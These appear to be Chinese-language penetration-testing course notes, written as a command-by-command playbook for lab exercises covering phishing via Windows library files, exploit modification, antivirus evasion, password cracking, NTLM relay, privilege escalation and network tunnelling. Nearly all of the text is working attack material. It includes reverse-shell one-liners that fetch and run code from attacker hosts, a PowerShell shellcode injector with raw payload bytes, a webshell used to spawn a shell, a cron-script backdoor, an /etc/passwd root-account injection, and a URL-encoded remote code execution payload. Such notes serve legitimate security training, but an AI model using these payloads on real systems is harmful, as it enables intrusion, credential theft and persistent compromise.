Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub
11.3 滥用Windows库文件
11.3.1 利用
.Library-ms
.lnk
pip3 install wsgidav
mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"
cd webdav
rm test.txt
smbclient //192.168.50.195/share -c 'put config.Library-ms'
12.2 在线exp库
https://www.exploit-db.com/
https://packetstormsecurity.com/
https://github.com/
firefox --search "Microsoft Edge site:exploit-db.com"
12.3 离线exp库
12.3.1 MSF
12.3.2 SearchSploit
sudo apt update && sudo apt install exploitdb
ls -1 /usr/share/exploitdb/
ls -1 /usr/share/exploitdb/exploits
searchsploit remote smb microsoft windows
searchsploit -m windows/remote/48537.py
searchsploit -m 42031
12.3.3 NSE脚本插件
grep Exploits /usr/share/nmap/scripts/*.nse
nmap --script-help=clamav-exec.nse
12.4 漏洞利用
12.4.1 漏洞利用
<div class="copyright">
<a href="http://qdpm.net" target="_blank">qdPM 9.1</a> <br /> Copyright © 2022 <a href="http://qdpm.net" target="_blank">qdpm.net</a>
</div>
searchsploit -m 50944
python3 50944.py -url http://192.168.50.11/project/ -u george@AIDevCorp.org -p AIDevCorp
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php?cmd=whoami
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc"
nc -lvnp 6666
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv 192.168.50.129 6666 -e /bin/bash"
13.1 修改内存损坏型exp
searchsploit "Sync Breeze Enterprise 10.0.28"
searchsploit -m 42341
sudo apt install mingw-w64
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
缓冲区大小
jmpesp地址
目标IP和端口
shellcode
shellcode前面加nop
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
sudo wine syncbreeze_exploit.exe
13.2 修改Web应用exp
http变为https
ssl校验
账号密码
文件名
webshell
http头中的字段，如csrf_param = "_sk_"
...
response = requests.post(url, data=data, allow_redirects=False)
...
response = requests.post(url, data=data, files=txt, cookies=cookies)
...
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
...
...
response = requests.post(url, data=data, allow_redirects=False, verify=False)
...
response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)
...
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False, verify=False)
...
14.1 杀毒软件关键技术
14.1.3 检测方法
xxd -b malware.txt
sha256sum malware.txt
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f exe > binary.exe
14.3 免杀实践
14.3.2 线程注入免杀
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xc0,0xa8,0x32,0x1,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
$winFunc -- $var2
Win32 -- iWin32
$sc -- $var1
Get-ExecutionPolicy -Scope CurrentUser
Undefined
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
选A
Get-ExecutionPolicy -Scope CurrentUser
Unrestricted
PS C:\Users\offsec\Desktop> .\bypass.ps1
14.3.3 自动化工具
apt-cache search shellter
sudo apt install shellter
sudo apt install wine
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
shellter
A -- 自动化插入
输入一个要插入的PE文件
Y -- 进入shellter模式
L -- 选择列表里的payload
1 -- 第一个反弹shell
输入lhost和lport
生成
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.50.1;set LPORT 443;run;"
15.1 网络服务密码爆破
15.1.1 SSH和RDP
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.50.202
15.1.2 HTTP页面POST爆破
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
15.2 密码破解基础
15.2.2 字典变异
head /usr/share/wordlists/rockyou.txt > demo.txt
sed -i '/^1/d' demo.txt
echo \$1 > demo.rule
hashcat -r demo.rule --stdout demo.txt
kali@kali:~/passwordattacks$ cat demo1.rule
$1 c
kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txt
Password1
Iloveyou1
Princess1
Rockyou1
Abc1231
kali@kali:~/passwordattacks$ cat demo2.rule
$1
c
kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txt
password1
Password
iloveyou1
Iloveyou
princess1
Princess
kali@kali:~/passwordattacks$ cat demo1.rule
$1 c $!
kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txt
Password1!
Iloveyou1!
Princess1!
Rockyou1!
Abc1231!
kali@kali:~/passwordattacks$ cat demo2.rule
$! $1 c
kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txt
Password!1
Iloveyou!1
Princess!1
Rockyou!1
Abc123!1
kali@kali:~/passwordattacks$ cat crackme.txt
f621b6c9eab51a3e2f4e167fee4c6860
kali@kali:~/passwordattacks$ cat demo3.rule
$1 c $!
$2 c $!
$1 $2 $3 c $!
hashcat -m 0 crackme.txt /usr/share/wordlists/rockyou.txt -r demo3.rule --force
ls -la /usr/share/hashcat/rules/
15.2.4 密码管理软件
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
keepass2john Database.kdbx > keepass.hash
Database:
kali@kali:~/passwordattacks$ cat keepass.hash
$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e...
hashcat --help | grep -i "KeePass"
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
15.2.5 SSH秘钥破解
ssh2john id_rsa > ssh.hash
cat ssh.hash
有$6
hashcat -h | grep -i "ssh"
$6对应 22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$)
kali@kali:~/passwordattacks$ cat ssh.rule
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
kali@kali:~/passwordattacks$ cat ssh.passwords
Window
rickc137
dave
superdave
megadave
umbrella
hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force
sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'
john --wordlist=ssh.passwords --rules=sshRules ssh.hash
ssh -i id_rsa -p 2222 dave@192.168.50.201
输入密码即可登录成功
15.3 使用密码hash
15.3.1 NTLM破解
PS C:\Users\offsec> Get-LocalUser
.\mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
User : nelly
Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
hashcat --help | grep -i "ntlm"
hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
15.3.2 NTLM传递
.\mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
15.3.3 Net-NTLMv2破解
ip a
sudo responder -I tap0
dir \\192.168.119.2\test
[+] Listening for events...
[SMB] NTLMv2-SSP Client : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480055005800430034005400490043002E00360057004D0052002E004C004F00430041004C0003001400360057004D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C000700080000B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D70090007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E0032000000000000000000
hashcat --help | grep -i "ntlm"
5600 | NetNTLMv2
hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
15.3.4 Net-NTLMv2中继/转发
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."
python3 /usr/local/bin/ntlmrelayx.py --no-http-server -smb2support -t 192.168.240.212 -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3ACAALQBwACAAOQAwADkAMAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
16.1 Windows提权信息枚举
16.1.2 基本信息枚举
whoami
whoami /groups
powershell
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember adminteam
Get-LocalGroupMember Administrators
systeminfo
ipconfig /all
route print
netstat -ano
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-Process
16.1.3 密码明文存储
.kdbx -- keepass的密码存储文件
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.ini
cat Desktop\asdf.txt
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users\steve> runas /user:backupadmin cmd
16.1.4 powershell历史记录
Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\Public\Transcripts\transcript01.txt
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
whoami
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"
16.1.5 自动枚举
cp /usr/share/peass/winpeas/winPEASx64.exe .
python3 -m http.server 80
powershell
iwr -uri http://192.168.118.2/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe
16.2 利用Windows服务
16.2.1 服务二进制文件劫持
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls "C:\xampp\apache\bin\httpd.exe"
icacls "C:\xampp\mysql\bin\mysqld.exe"
Mask掩模
Permissions权限
F
Full access完全访问权限
M
Modify access修改访问
RX
Read and execute access读取和执行访问
R
Read-only access只读访问
W
Write-only access只写存取
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
net stop mysql
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
whoami /priv
有SeShutdownPrivilege就可以重启
shutdown /r /t 0
重启后查看用户
Get-LocalGroupMember administrators
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'
16.2.2 服务DLL劫持
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls .\Documents\BetaServ.exe
Process Name is BetaServ.exe
Restart-Service BetaService
PS C:\Users\steve> $env:path
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\steve\AppData\Local\Microsoft\WindowsApps;
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
C:\Users\steve\Documents
cd Documents
iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll
net user
Restart-Service BetaService
net user
net localgroup administrators
16.2.3 无引号文件路径
C:\Program Files\My Program\My Service\service.exe
顺序：
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Name PathName
...
GammaService C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
Start-Service GammaService
Stop-Service GammaService
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
C:\Program Files\Enterprise Apps
iwr -uri http://192.168.119.3/adduser.exe -Outfile Current.exe
copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Start-Service GammaService
net user
net localgroup administrators
iwr http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService
net user
net localgroup administrators
16.3 利用其他Windows组件
16.3.1 计划任务
schtasks /query /fo LIST /v
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
iwr -Uri http://192.168.119.3/adduser.exe -Outfile BackendCacheCleanup.exe
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\
net user
net localgroup administrators
16.3.2 使用漏洞
whoami /priv
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
python3 -m http.server 80
powershell
iwr -uri http://192.168.119.2/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe
whoami
17.1 linux提权信息枚举
17.1.2 手动枚举
ls -l /etc/shadow
id
cat /etc/passwd
hostname
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel
ss -anp
cat /etc/iptables/rules.v4
ls -lah /etc/cron*
crontab -l
sudo crontab -l
dpkg -l
find / -writable -type d 2>/dev/null
cat /etc/fstab
mount
lsblk
lsmod
/sbin/modinfo libata
find / -perm -u=s -type f 2>/dev/null
17.1.3 自动枚举
unix-privesc-check
./unix-privesc-check standard > output.txt
https://github.com/rebootuser/LinEnum
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
17.2 敏感信息
17.2.1 用户配置中的敏感信息
env
cat .bashrc
su - root
whoami
crunch 6 6 -t Lab%%% > wordlist
hydra -l eve -P wordlist 192.168.50.214 -t 4 ssh -V
ssh eve@192.168.50.214
sudo -l
User eve may run the following commands on debian-privesc:
(ALL : ALL) ALL
sudo -i
输入eve密码，获得root
whoami
17.2.2 服务运行痕迹
watch -n 1 "ps -aux | grep pass"
sudo tcpdump -i lo -A | grep "pass"
17.3 不安全的文件权限
17.3.1 利用CRON
grep "CRON" /var/log/syslog
cat /home/joe/.scripts/user_backups.sh
ls -lah /home/joe/.scripts/user_backups.sh
cd .scripts
echo >> user_backups.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh
cat user_backups.sh
nc -lnvp 1234
17.3.2 利用密码校验
openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
Password: w00t
id
17.4 不安全系统组件
17.4.1 利用Setuid二进制文件
ls -asl /usr/bin/passwd
find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
/usr/sbin/getcap -r / 2>/dev/null
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
17.4.2 sudo利用
sudo -l
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
failed: Permission denied
cat /var/log/syslog | grep tcpdump
su - root
aa-status
发现
/usr/sbin/tcpdump
sudo apt-get changelog apt
!/bin/sh
17.4.3 内核漏洞提权
cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
cp /usr/share/exploitdb/exploits/linux/local/45010.c .
head 45010.c -n 20
mv 45010.c cve-2017-16995.c
scp cve-2017-16995.c joe@192.168.123.216:
gcc cve-2017-16995.c -o cve-2017-16995
file cve-2017-16995
./cve-2017-16995
18.2 使用linux工具端口转发
18.2.3 socat端口转发
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
psql -h 192.168.50.63 -p 2345 -U postgres
\l
\c confluence
select * from cwd_user;
hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
ssh database_admin@192.168.50.63 -p2222
18.3 SSH隧道
18.3.1 本地端口转发
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh database_admin@10.4.50.215
ip addr
ip route
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
172.16.50.217 445
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
ss -ntplu
smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234
smbclient -p 4455 //192.168.50.63/scripts -U hr_admin --password=Welcome1234
ls
get Provisioning.ps1
18.3.2 动态端口转发
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
tail /etc/proxychains4.conf
socks5 192.168.50.63 9999
proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217
18.3.3 远程端口转发
sudo systemctl start ssh
sudo ss -ntplu
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
ss -ntplu
psql -h 127.0.0.1 -p 2345 -U postgres
18.3.4 远程动态端口转发
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.118.4
sudo ss -ntplu
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
18.3.5 sshuttle
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
18.4 Windows端口转发工具
18.4.1 ssh.exe
sudo systemctl start ssh
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
where ssh
ssh.exe -V
版本高于7.6才可以做端口转发
ssh -N -R 9998 kali@192.168.118.4
ss -ntplu
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998
proxychains psql -h 10.4.50.215 -U postgres
\l
18.4.2 plink
sudo systemctl start apache2
find / -name nc.exe 2>/dev/null
sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/
find / -name plink.exe 2>/dev/null
sudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/
nc -nvlp 4446
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446
powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4
ss -ntplu
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833
18.4.3 Netsh
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64
管理员运行cmd
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215
netstat -anp TCP | find "2222"
netsh interface portproxy show all
sudo nmap -sS 192.168.50.64 -Pn -n -p2222
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow
sudo nmap -sS 192.168.50.64 -Pn -n -p2222
ssh database_admin@192.168.50.64 -p2222
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64
19.1 HTTP隧道
19.1.2 使用chisel搭建HTTP隧道
sudo systemctl start apache2
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
sudo cp ./chisel /var/www/html
chisel server --port 8080 --reverse
wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel
/tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &
curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/
curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%27%29.start%28%29%22%29%7D/
ss -ntplu
sudo apt install ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
19.2 DNS隧道
19.2.2 使用dnscat2搭建DNS隧道
dnscat2-server feline.corp
